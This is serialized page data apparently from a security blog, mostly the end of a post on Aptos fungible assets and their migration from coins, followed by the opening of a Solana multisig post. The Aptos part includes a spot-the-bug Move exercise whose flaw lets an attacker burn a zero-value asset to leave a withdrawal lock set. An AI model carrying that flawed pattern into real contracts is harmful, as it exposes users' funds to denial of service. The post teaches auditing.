[65844],{"type":28,"value":8840},{"type":23,"tag":314,"props":65846,"children":65847},{"style":338},[65848],{"type":28,"value":61018},{"type":23,"tag":314,"props":65850,"children":65851},{"class":316,"line":1343},[65852,65856,65860,65864],{"type":23,"tag":314,"props":65853,"children":65854},{"style":332},[65855],{"type":28,"value":65610},{"type":23,"tag":314,"props":65857,"children":65858},{"style":338},[65859],{"type":28,"value":341},{"type":23,"tag":314,"props":65861,"children":65862},{"style":321},[65863],{"type":28,"value":1532},{"type":23,"tag":314,"props":65865,"children":65866},{"style":338},[65867],{"type":28,"value":1025},{"type":23,"tag":314,"props":65869,"children":65870},{"class":316,"line":1351},[65871,65875,65879],{"type":23,"tag":314,"props":65872,"children":65873},{"style":338},[65874],{"type":28,"value":61970},{"type":23,"tag":314,"props":65876,"children":65877},{"style":354},[65878],{"type":28,"value":8840},{"type":23,"tag":314,"props":65880,"children":65881},{"style":338},[65882],{"type":28,"value":11020},{"type":23,"tag":314,"props":65884,"children":65885},{"class":316,"line":1387},[65886,65890,65894,65898],{"type":23,"tag":314,"props":65887,"children":65888},{"style":332},[65889],{"type":28,"value":65645},{"type":23,"tag":314,"props":65891,"children":65892},{"style":338},[65893],{"type":28,"value":341},{"type":23,"tag":314,"props":65895,"children":65896},{"style":321},[65897],{"type":28,"value":1481},{"type":23,"tag":314,"props":65899,"children":65900},{"style":338},[65901],{"type":28,"value":1025},{"type":23,"tag":314,"props":65903,"children":65904},{"class":316,"line":1422},[65905,65909,65913,65917,65921,65925,65929,65933,65937,65941],{"type":23,"tag":314,"props":65906,"children":65907},{"style":338},[65908],{"type":28,"value":65213},{"type":23,"tag":314,"props":65910,"children":65911},{"style":354},[65912],{"type":28,"value":2737},{"type":23,"tag":314,"props":65914,"children":65915},{"style":332},[65916],{"type":28,"value":65222},{"type":23,"tag":314,"props":65918,"children":65919},{"style":338},[65920],{"type":28,"value":341},{"type":23,"tag":314,"props":65922,"children":65923},{"style":360},[65924],{"type":28,"value":65231},{"type":23,"tag":314,"props":65926,"children":65927},{"style":338},[65928],{"type":28,"value":778},{"type":23,"tag":314,"props":65930,"children":65931},{"style":360},[65932],{"type":28,"value":5195},{"type":23,"tag":314,"props":65934,"children":65935},{"style":338},[65936],{"type":28,"value":778},{"type":23,"tag":314,"props":65938,"children":65939},{"style":360},[65940],{"type":28,"value":19544},{"type":23,"tag":314,"props":65942,"children":65943},{"style":338},[65944],{"type":28,"value":2414},{"type":23,"tag":314,"props":65946,"children":65947},{"class":316,"line":1430},[65948],{"type":23,"tag":314,"props":65949,"children":65950},{"style":338},[65951],{"type":28,"value":386},{"type":23,"tag":24,"props":65953,"children":65954},{},[65955],{"type":28,"value":65956},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":65438,"props":65958,"children":65959},{},[65960,65965],{"type":23,"tag":24,"props":65961,"children":65962},{},[65963],{"type":28,"value":65964},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":65469,"props":65966,"children":65967},{"v-slot:answer-0":7},[65968,65988],{"type":23,"tag":24,"props":65969,"children":65970},{},[65971,65973,65978,65980,65986],{"type":28,"value":65972},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":94,"props":65974,"children":65976},{"className":65975},[],[65977],{"type":28,"value":60763},{"type":28,"value":65979}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":94,"props":65981,"children":65983},{"className":65982},[],[65984],{"type":28,"value":65985},"fungible_asset::destroy_zero",{"type":28,"value":65987},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":24,"props":65989,"children":65990},{},[65991],{"type":28,"value":65992},"It's important to understand all the features in the standard.",{"type":23,"tag":61,"props":65994,"children":65996},{"id":65995},"migrating-from-coins-to-fungible-assets",[65997],{"type":28,"value":65998},"Migrating from coins to fungible assets",{"type":23,"tag":24,"props":66000,"children":66001},{},[66002,66004,66009],{"type":28,"value":66003},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":94,"props":66005,"children":66007},{"className":66006},[],[66008],{"type":28,"value":60218},{"type":28,"value":66010},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":66012,"props":66013,"children":66014},"note",{},[66015],{"type":23,"tag":24,"props":66016,"children":66017},{},[66018,66020,66025,66027,66032],{"type":28,"value":66019},"While the ",{"type":23,"tag":94,"props":66021,"children":66023},{"className":66022},[],[66024],{"type":28,"value":60218},{"type":28,"value":66026}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":94,"props":66028,"children":66030},{"className":66029},[],[66031],{"type":28,"value":60218},{"type":28,"value":282},{"type":23,"tag":24,"props":66034,"children":66035},{},[66036,66037,66043,66045,66050,66052,66057],{"type":28,"value":92},{"type":23,"tag":94,"props":66038,"children":66040},{"className":66039},[],[66041],{"type":28,"value":66042},"coin_to_fungible_asset",{"type":28,"value":66044}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":94,"props":66046,"children":66048},{"className":66047},[],[66049],{"type":28,"value":60218},{"type":28,"value":66051}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":94,"props":66053,"children":66055},{"className":66054},[],[66056],{"type":28,"value":60218},{"type":28,"value":66058}," is not allowed.",{"type":23,"tag":304,"props":66060,"children":66062},{"className":2234,"code":66061,"language":2233,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n let metadata = ensure_paired_metadata\u003CCoinType>();\n let amount = burn_internal(coin);\n fungible_asset::mint_internal(metadata, amount)\n}\n",[66063],{"type":23,"tag":94,"props":66064,"children":66065},{"__ignoreMap":7},[66066,66094,66121,66157,66190,66223,66259],{"type":23,"tag":314,"props":66067,"children":66068},{"class":316,"line":317},[66069,66073,66077,66082,66086,66090],{"type":23,"tag":314,"props":66070,"children":66071},{"style":360},[66072],{"type":28,"value":60927},{"type":23,"tag":314,"props":66074,"children":66075},{"style":360},[66076],{"type":28,"value":5462},{"type":23,"tag":314,"props":66078,"children":66079},{"style":360},[66080],{"type":28,"value":66081}," coin_to_fungible_asset",{"type":23,"tag":314,"props":66083,"children":66084},{"style":338},[66085],{"type":28,"value":5060},{"type":23,"tag":314,"props":66087,"children":66088},{"style":2674},[66089],{"type":28,"value":5839},{"type":23,"tag":314,"props":66091,"children":66092},{"style":338},[66093],{"type":28,"value":5844},{"type":23,"tag":314,"props":66095,"children":66096},{"class":316,"line":370},[66097,66101,66105,66109,66113,66117],{"type":23,"tag":314,"props":66098,"children":66099},{"style":360},[66100],{"type":28,"value":60437},{"type":23,"tag":314,"props":66102,"children":66103},{"style":354},[66104],{"type":28,"value":3746},{"type":23,"tag":314,"props":66106,"children":66107},{"style":2674},[66108],{"type":28,"value":5055},{"type":23,"tag":314,"props":66110,"children":66111},{"style":338},[66112],{"type":28,"value":5060},{"type":23,"tag":314,"props":66114,"children":66115},{"style":2674},[66116],{"type":28,"value":5839},{"type":23,"tag":314,"props":66118,"children":66119},{"style":338},[66120],{"type":28,"value":5247},{"type":23,"tag":314,"props":66122,"children":66123},{"class":316,"line":380},[66124,66128,66132,66136,66140,66145,66149,66153],{"type":23,"tag":314,"props":66125,"children":66126},{"style":338},[66127],{"type":28,"value":431},{"type":23,"tag":314,"props":66129,"children":66130},{"style":354},[66131],{"type":28,"value":3746},{"type":23,"tag":314,"props":66133,"children":66134},{"style":2674},[66135],{"type":28,"value":60792},{"type":23,"tag":314,"props":66137,"children":66138},{"style":360},[66139],{"type":28,"value":6822},{"type":23,"tag":314,"props":66141,"children":66142},{"style":2674},[66143],{"type":28,"value":66144}," CoinConversionMap",{"type":23,"tag":314,"props":66146,"children":66147},{"style":338},[66148],{"type":28,"value":778},{"type":23,"tag":314,"props":66150,"children":66151},{"style":2674},[66152],{"type":28,"value":5969},{"type":23,"tag":314,"props":66154,"children":66155},{"style":338},[66156],{"type":28,"value":1449},{"type":23,"tag":314,"props":66158,"children":66159},{"class":316,"line":1091},[66160,66164,66169,66173,66178,66182,66186],{"type":23,"tag":314,"props":66161,"children":66162},{"style":321},[66163],{"type":28,"value":2254},{"type":23,"tag":314,"props":66165,"children":66166},{"style":360},[66167],{"type":28,"value":66168}," metadata",{"type":23,"tag":314,"props":66170,"children":66171},{"style":354},[66172],{"type":28,"value":1237},{"type":23,"tag":314,"props":66174,"children":66175},{"style":360},[66176],{"type":28,"value":66177}," ensure_paired_metadata",{"type":23,"tag":314,"props":66179,"children":66180},{"style":338},[66181],{"type":28,"value":5060},{"type":23,"tag":314,"props":66183,"children":66184},{"style":2674},[66185],{"type":28,"value":5839},{"type":23,"tag":314,"props":66187,"children":66188},{"style":338},[66189],{"type":28,"value":7704},{"type":23,"tag":314,"props":66191,"children":66192},{"class":316,"line":1141},[66193,66197,66202,66206,66211,66215,66219],{"type":23,"tag":314,"props":66194,"children":66195},{"style":321},[66196],{"type":28,"value":2254},{"type":23,"tag":314,"props":66198,"children":66199},{"style":360},[66200],{"type":28,"value":66201}," amount",{"type":23,"tag":314,"props":66203,"children":66204},{"style":354},[66205],{"type":28,"value":1237},{"type":23,"tag":314,"props":66207,"children":66208},{"style":332},[66209],{"type":28,"value":66210}," burn_internal",{"type":23,"tag":314,"props":66212,"children":66213},{"style":338},[66214],{"type":28,"value":341},{"type":23,"tag":314,"props":66216,"children":66217},{"style":360},[66218],{"type":28,"value":60185},{"type":23,"tag":314,"props":66220,"children":66221},{"style":338},[66222],{"type":28,"value":1025},{"type":23,"tag":314,"props":66224,"children":66225},{"class":316,"line":1173},[66226,66230,66234,66239,66243,66247,66251,66255],{"type":23,"tag":314,"props":66227,"children":66228},{"style":338},[66229],{"type":28,"value":65213},{"type":23,"tag":314,"props":66231,"children":66232},{"style":354},[66233],{"type":28,"value":2737},{"type":23,"tag":314,"props":66235,"children":66236},{"style":332},[66237],{"type":28,"value":66238},"mint_internal",{"type":23,"tag":314,"props":66240,"children":66241},{"style":338},[66242],{"type":28,"value":341},{"type":23,"tag":314,"props":66244,"children":66245},{"style":360},[66246],{"type":28,"value":61564},{"type":23,"tag":314,"props":66248,"children":66249},{"style":338},[66250],{"type":28,"value":778},{"type":23,"tag":314,"props":66252,"children":66253},{"style":360},[66254],{"type":28,"value":19544},{"type":23,"tag":314,"props":66256,"children":66257},{"style":338},[66258],{"type":28,"value":2414},{"type":23,"tag":314,"props":66260,"children":66261},{"class":316,"line":1208},[66262],{"type":23,"tag":314,"props":66263,"children":66264},{"style":338},[66265],{"type":28,"value":386},{"type":23,"tag":24,"props":66267,"children":66268},{},[66269,66271,66278],{"type":28,"value":66270},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":31,"props":66272,"children":66275},{"href":66273,"rel":66274},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[35],[66276],{"type":28,"value":66277},"noticed an overlooked detail",{"type":28,"value":66279}," in the linking process.",{"type":23,"tag":304,"props":66281,"children":66283},{"className":2234,"code":66282,"language":2233,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n &metadata_object_cref,\n option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n name\u003CCoinType>(),\n symbol\u003CCoinType>(),\n decimals\u003CCoinType>(),\n string::utf8(b\"\"),\n string::utf8(b\"\"),\n);\n[...]\n",[66284],{"type":23,"tag":94,"props":66285,"children":66286},{"__ignoreMap":7},[66287,66302,66322,66339,66395,66416,66436,66456,66486,66513,66520],{"type":23,"tag":314,"props":66288,"children":66289},{"class":316,"line":317},[66290,66294,66298],{"type":23,"tag":314,"props":66291,"children":66292},{"style":338},[66293],{"type":28,"value":1312},{"type":23,"tag":314,"props":66295,"children":66296},{"style":354},[66297],{"type":28,"value":8840},{"type":23,"tag":314,"props":66299,"children":66300},{"style":338},[66301],{"type":28,"value":11020},{"type":23,"tag":314,"props":66303,"children":66304},{"class":316,"line":370},[66305,66309,66313,66318],{"type":23,"tag":314,"props":66306,"children":66307},{"style":338},[66308],{"type":28,"value":61861},{"type":23,"tag":314,"props":66310,"children":66311},{"style":354},[66312],{"type":28,"value":2737},{"type":23,"tag":314,"props":66314,"children":66315},{"style":332},[66316],{"type":28,"value":66317},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":314,"props":66319,"children":66320},{"style":338},[66321],{"type":28,"value":2719},{"type":23,"tag":314,"props":66323,"children":66324},{"class":316,"line":380},[66325,66330,66335],{"type":23,"tag":314,"props":66326,"children":66327},{"style":354},[66328],{"type":28,"value":66329}," &",{"type":23,"tag":314,"props":66331,"children":66332},{"style":360},[66333],{"type":28,"value":66334},"metadata_object_cref",{"type":23,"tag":314,"props":66336,"children":66337},{"style":338},[66338],{"type":28,"value":1870},{"type":23,"tag":314,"props":66340,"children":66341},{"class":316,"line":1091},[66342,66347,66351,66356,66360,66365,66369,66373,66378,66382,66386,66390],{"type":23,"tag":314,"props":66343,"children":66344},{"style":338},[66345],{"type":28,"value":66346}," option",{"type":23,"tag":314,"props":66348,"children":66349},{"style":354},[66350],{"type":28,"value":2737},{"type":23,"tag":314,"props":66352,"children":66353},{"style":332},[66354],{"type":28,"value":66355},"map",{"type":23,"tag":314,"props":66357,"children":66358},{"style":338},[66359],{"type":28,"value":341},{"type":23,"tag":314,"props":66361,"children":66362},{"style":360},[66363],{"type":28,"value":66364},"coin_supply",{"type":23,"tag":314,"props":66366,"children":66367},{"style":338},[66368],{"type":28,"value":5060},{"type":23,"tag":314,"props":66370,"children":66371},{"style":2674},[66372],{"type":28,"value":5839},{"type":23,"tag":314,"props":66374,"children":66375},{"style":338},[66376],{"type":28,"value":66377},">(), ",{"type":23,"tag":314,"props":66379,"children":66380},{"style":354},[66381],{"type":28,"value":9664},{"type":23,"tag":314,"props":66383,"children":66384},{"style":360},[66385],{"type":28,"value":2338},{"type":23,"tag":314,"props":66387,"children":66388},{"style":354},[66389],{"type":28,"value":9664},{"type":23,"tag":314,"props":66391,"children":66392},{"style":338},[66393],{"type":28,"value":66394}," MAX_U128),\n",{"type":23,"tag":314,"props":66396,"children":66397},{"class":316,"line":1141},[66398,66403,66407,66411],{"type":23,"tag":314,"props":66399,"children":66400},{"style":360},[66401],{"type":28,"value":66402}," name",{"type":23,"tag":314,"props":66404,"children":66405},{"style":338},[66406],{"type":28,"value":5060},{"type":23,"tag":314,"props":66408,"children":66409},{"style":2674},[66410],{"type":28,"value":5839},{"type":23,"tag":314,"props":66412,"children":66413},{"style":338},[66414],{"type":28,"value":66415},">(),\n",{"type":23,"tag":314,"props":66417,"children":66418},{"class":316,"line":1173},[66419,66424,66428,66432],{"type":23,"tag":314,"props":66420,"children":66421},{"style":360},[66422],{"type":28,"value":66423}," symbol",{"type":23,"tag":314,"props":66425,"children":66426},{"style":338},[66427],{"type":28,"value":5060},{"type":23,"tag":314,"props":66429,"children":66430},{"style":2674},[66431],{"type":28,"value":5839},{"type":23,"tag":314,"props":66433,"children":66434},{"style":338},[66435],{"type":28,"value":66415},{"type":23,"tag":314,"props":66437,"children":66438},{"class":316,"line":1208},[66439,66444,66448,66452],{"type":23,"tag":314,"props":66440,"children":66441},{"style":360},[66442],{"type":28,"value":66443}," decimals",{"type":23,"tag":314,"props":66445,"children":66446},{"style":338},[66447],{"type":28,"value":5060},{"type":23,"tag":314,"props":66449,"children":66450},{"style":2674},[66451],{"type":28,"value":5839},{"type":23,"tag":314,"props":66453,"children":66454},{"style":338},[66455],{"type":28,"value":66415},{"type":23,"tag":314,"props":66457,"children":66458},{"class":316,"line":1216},[66459,66464,66468,66473,66477,66482],{"type":23,"tag":314,"props":66460,"children":66461},{"style":338},[66462],{"type":28,"value":66463}," string",{"type":23,"tag":314,"props":66465,"children":66466},{"style":354},[66467],{"type":28,"value":2737},{"type":23,"tag":314,"props":66469,"children":66470},{"style":332},[66471],{"type":28,"value":66472},"utf8",{"type":23,"tag":314,"props":66474,"children":66475},{"style":338},[66476],{"type":28,"value":341},{"type":23,"tag":314,"props":66478,"children":66479},{"style":1245},[66480],{"type":28,"value":66481},"b\"\"",{"type":23,"tag":314,"props":66483,"children":66484},{"style":338},[66485],{"type":28,"value":5992},{"type":23,"tag":314,"props":66487,"children":66488},{"class":316,"line":1301},[66489,66493,66497,66501,66505,66509],{"type":23,"tag":314,"props":66490,"children":66491},{"style":338},[66492],{"type":28,"value":66463},{"type":23,"tag":314,"props":66494,"children":66495},{"style":354},[66496],{"type":28,"value":2737},{"type":23,"tag":314,"props":66498,"children":66499},{"style":332},[66500],{"type":28,"value":66472},{"type":23,"tag":314,"props":66502,"children":66503},{"style":338},[66504],{"type":28,"value":341},{"type":23,"tag":314,"props":66506,"children":66507},{"style":1245},[66508],{"type":28,"value":66481},{"type":23,"tag":314,"props":66510,"children":66511},{"style":338},[66512],{"type":28,"value":5992},{"type":23,"tag":314,"props":66514,"children":66515},{"class":316,"line":1343},[66516],{"type":23,"tag":314,"props":66517,"children":66518},{"style":338},[66519],{"type":28,"value":1025},{"type":23,"tag":314,"props":66521,"children":66522},{"class":316,"line":1351},[66523,66527,66531],{"type":23,"tag":314,"props":66524,"children":66525},{"style":338},[66526],{"type":28,"value":1312},{"type":23,"tag":314,"props":66528,"children":66529},{"style":354},[66530],{"type":28,"value":8840},{"type":23,"tag":314,"props":66532,"children":66533},{"style":338},[66534],{"type":28,"value":11020},{"type":23,"tag":24,"props":66536,"children":66537},{},[66538,66540,66545],{"type":28,"value":66539},"When the linked fungible asset was created, the current ",{"type":23,"tag":94,"props":66541,"children":66543},{"className":66542},[],[66544],{"type":28,"value":60218},{"type":28,"value":66546}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":24,"props":66548,"children":66549},{},[66550,66552,66557,66559,66565,66567,66572],{"type":28,"value":66551},"Users can manually migrate their ",{"type":23,"tag":94,"props":66553,"children":66555},{"className":66554},[],[66556],{"type":28,"value":60380},{"type":28,"value":66558}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":94,"props":66560,"children":66562},{"className":66561},[],[66563],{"type":28,"value":66564},"\u003CCoinStore\u003CCoinType>>",{"type":28,"value":66566}," from the caller. All coins in the ",{"type":23,"tag":94,"props":66568,"children":66570},{"className":66569},[],[66571],{"type":28,"value":60380},{"type":28,"value":66573}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":304,"props":66575,"children":66577},{"className":2234,"code":66576,"language":2233,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[66578],{"type":23,"tag":94,"props":66579,"children":66580},{"__ignoreMap":7},[66581,66589,66621,66641,66677,66718],{"type":23,"tag":314,"props":66582,"children":66583},{"class":316,"line":317},[66584],{"type":23,"tag":314,"props":66585,"children":66586},{"style":374},[66587],{"type":28,"value":66588},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":314,"props":66590,"children":66591},{"class":316,"line":370},[66592,66596,66600,66604,66609,66613,66617],{"type":23,"tag":314,"props":66593,"children":66594},{"style":360},[66595],{"type":28,"value":60927},{"type":23,"tag":314,"props":66597,"children":66598},{"style":360},[66599],{"type":28,"value":61894},{"type":23,"tag":314,"props":66601,"children":66602},{"style":360},[66603],{"type":28,"value":5462},{"type":23,"tag":314,"props":66605,"children":66606},{"style":360},[66607],{"type":28,"value":66608}," migrate_to_fungible_store",{"type":23,"tag":314,"props":66610,"children":66611},{"style":338},[66612],{"type":28,"value":5060},{"type":23,"tag":314,"props":66614,"children":66615},{"style":2674},[66616],{"type":28,"value":5839},{"type":23,"tag":314,"props":66618,"children":66619},{"style":338},[66620],{"type":28,"value":5844},{"type":23,"tag":314,"props":66622,"children":66623},{"class":316,"line":380},[66624,66628,66632,66636],{"type":23,"tag":314,"props":66625,"children":66626},{"style":360},[66627],{"type":28,"value":24417},{"type":23,"tag":314,"props":66629,"children":66630},{"style":354},[66631],{"type":28,"value":3746},{"type":23,"tag":314,"props":66633,"children":66634},{"style":354},[66635],{"type":28,"value":1968},{"type":23,"tag":314,"props":66637,"children":66638},{"style":360},[66639],{"type":28,"value":66640},"signer\n",{"type":23,"tag":314,"props":66642,"children":66643},{"class":316,"line":1091},[66644,66648,66652,66656,66660,66665,66669,66673],{"type":23,"tag":314,"props":66645,"children":66646},{"style":338},[66647],{"type":28,"value":2343},{"type":23,"tag":314,"props":66649,"children":66650},{"style":360},[66651],{"type":28,"value":5599},{"type":23,"tag":314,"props":66653,"children":66654},{"style":2674},[66655],{"type":28,"value":60401},{"type":23,"tag":314,"props":66657,"children":66658},{"style":338},[66659],{"type":28,"value":778},{"type":23,"tag":314,"props":66661,"children":66662},{"style":2674},[66663],{"type":28,"value":66664},"CoinConversionMap",{"type":23,"tag":314,"props":66666,"children":66667},{"style":338},[66668],{"type":28,"value":778},{"type":23,"tag":314,"props":66670,"children":66671},{"style":2674},[66672],{"type":28,"value":5969},{"type":23,"tag":314,"props":66674,"children":66675},{"style":338},[66676],{"type":28,"value":1449},{"type":23,"tag":314,"props":66678,"children":66679},{"class":316,"line":1141},[66680,66685,66689,66693,66698,66702,66706,66710,66714],{"type":23,"tag":314,"props":66681,"children":66682},{"style":360},[66683],{"type":28,"value":66684}," maybe_convert_to_fungible_store",{"type":23,"tag":314,"props":66686,"children":66687},{"style":338},[66688],{"type":28,"value":5060},{"type":23,"tag":314,"props":66690,"children":66691},{"style":2674},[66692],{"type":28,"value":5839},{"type":23,"tag":314,"props":66694,"children":66695},{"style":338},[66696],{"type":28,"value":66697},">(signer",{"type":23,"tag":314,"props":66699,"children":66700},{"style":354},[66701],{"type":28,"value":2737},{"type":23,"tag":314,"props":66703,"children":66704},{"style":332},[66705],{"type":28,"value":6464},{"type":23,"tag":314,"props":66707,"children":66708},{"style":338},[66709],{"type":28,"value":341},{"type":23,"tag":314,"props":66711,"children":66712},{"style":360},[66713],{"type":28,"value":12201},{"type":23,"tag":314,"props":66715,"children":66716},{"style":338},[66717],{"type":28,"value":6478},{"type":23,"tag":314,"props":66719,"children":66720},{"class":316,"line":1173},[66721],{"type":23,"tag":314,"props":66722,"children":66723},{"style":338},[66724],{"type":28,"value":386},{"type":23,"tag":24,"props":66726,"children":66727},{},[66728,66730,66735,66737,66742],{"type":28,"value":66729},"A curious reader might wonder about the fate of the ",{"type":23,"tag":94,"props":66731,"children":66733},{"className":66732},[],[66734],{"type":28,"value":60380},{"type":28,"value":66736}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":94,"props":66738,"children":66740},{"className":66739},[],[66741],{"type":28,"value":60380},{"type":28,"value":66743}," to ensure consistency.",{"type":23,"tag":65438,"props":66745,"children":66746},{},[66747,66766],{"type":23,"tag":24,"props":66748,"children":66749},{},[66750,66752,66757,66759,66764],{"type":28,"value":66751},"Could an attacker convert their ",{"type":23,"tag":94,"props":66753,"children":66755},{"className":66754},[],[66756],{"type":28,"value":60380},{"type":28,"value":66758}," to a primary fungible store and then register another ",{"type":23,"tag":94,"props":66760,"children":66762},{"className":66761},[],[66763],{"type":28,"value":60380},{"type":28,"value":66765}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":65469,"props":66767,"children":66768},{"v-slot:answer-0":7},[66769],{"type":23,"tag":24,"props":66770,"children":66771},{},[66772],{"type":28,"value":66773},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":61,"props":66775,"children":66776},{"id":28180},[66777],{"type":28,"value":18185},{"type":23,"tag":24,"props":66779,"children":66780},{},[66781,66783,66788],{"type":28,"value":66782},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":94,"props":66784,"children":66786},{"className":66785},[],[66787],{"type":28,"value":60218},{"type":28,"value":282},{"type":23,"tag":24,"props":66790,"children":66791},{},[66792],{"type":28,"value":66793},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":66795,"children":66796},{},[66797,66799],{"type":28,"value":66798},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":14716,"props":66800,"children":66801},{},[66802],{"type":23,"tag":31,"props":66803,"children":66805},{"href":28872,"ariaDescribedBy":66804,"dataFootnoteRef":7,"id":28874},[14723],[66806],{"type":28,"value":3267},{"type":23,"tag":17660,"props":66808,"children":66810},{"className":66809,"dataFootnotes":7},[17663],[66811,66816],{"type":23,"tag":61,"props":66812,"children":66814},{"className":66813,"id":14723},[17668],[66815],{"type":28,"value":17671},{"type":23,"tag":84,"props":66817,"children":66818},{},[66819],{"type":23,"tag":88,"props":66820,"children":66821},{"id":29615},[66822,66824,66866],{"type":28,"value":66823},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":127,"props":66825,"children":66826},{},[66827,66837,66846,66856],{"type":23,"tag":88,"props":66828,"children":66829},{},[66830],{"type":23,"tag":31,"props":66831,"children":66835},{"href":66832,"rel":66833,":style":66834},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[35],"color: #007bff;",[66836],{"type":28,"value":63519},{"type":23,"tag":88,"props":66838,"children":66839},{},[66840],{"type":23,"tag":31,"props":66841,"children":66844},{"href":66842,"rel":66843,":style":66834},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[35],[66845],{"type":28,"value":65459},{"type":23,"tag":88,"props":66847,"children":66848},{},[66849],{"type":23,"tag":31,"props":66850,"children":66853},{"href":66851,"rel":66852,":style":66834},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[35],[66854],{"type":28,"value":66855},"primary_fungible_store::withdraw",{"type":23,"tag":88,"props":66857,"children":66858},{},[66859],{"type":23,"tag":31,"props":66860,"children":66863},{"href":66861,"rel":66862,":style":66834},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[35],[66864],{"type":28,"value":66865},"coin::withdraw",{"type":23,"tag":31,"props":66867,"children":66869},{"href":29643,"ariaLabel":17774,"className":66868,"dataFootnoteBackref":7},[17776],[66870],{"type":28,"value":17779},{"type":23,"tag":2096,"props":66872,"children":66873},{},[66874],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":66876},[66877,66878,66879,66882,66887,66888,66889,66890],{"id":60204,"depth":370,"text":60207},{"id":60749,"depth":370,"text":60752},{"id":61309,"depth":370,"text":61312,"children":66880},[66881],{"id":61820,"depth":380,"text":61823},{"id":62077,"depth":370,"text":62080,"children":66883},[66884,66885,66886],{"id":62120,"depth":380,"text":62123},{"id":62825,"depth":380,"text":62828},{"id":64483,"depth":380,"text":64486},{"id":65014,"depth":370,"text":65017},{"id":65995,"depth":370,"text":65998},{"id":28180,"depth":370,"text":18185},{"id":14723,"depth":370,"text":17671},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":66895,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":66896,"description":66897,"date":66898,"author":4974,"image":66899,"isFeatured":18,"onBlogPage":18,"tags":66901,"body":66902,"_type":2117,"_id":68729,"_source":2119,"_file":68730,"_stem":68731,"_extension":2122},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":66900,"width":4640,"height":4641},"/posts/multisig-security/title.png",[17],{"type":20,"children":66903,"toc":68720},[66904,66917,66923,66928,66934,66947,66955,66968,67028,67050,67177,67182,67195,67207,67213,67227,67240,67254,67735,67740,67748,67762,67776,67915,67927,67933,67938,67956,67961,67966,67987,68271,68286,68474,68487,68616,68621,68626,68631,68659,68665,68670,68684,68716],{"type":23,"tag":24,"props":66905,"children":66906},{},[66907,66908,66915],{"type":28,"value":92},{"type":23,"tag":31,"props":66909,"children":66912},{"href":66910,"rel":66911},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[35],[66913],{"type":28,"value":66914},"Bybit hack",{"type":28,"value":66916}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":61,"props":66918,"children":66920},{"id":66919},"solana-signatures",[66921],{"type":28,"value":66922},"Solana Signatures",{"type":23,"tag":24,"props":66924,"children":66925},{},[66926],{"type":28,"value":66927},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":837,"props":66929,"children":66931},{"id":66930},"recent-blockhash",[66932],{"type":28,"value":66933},"Recent 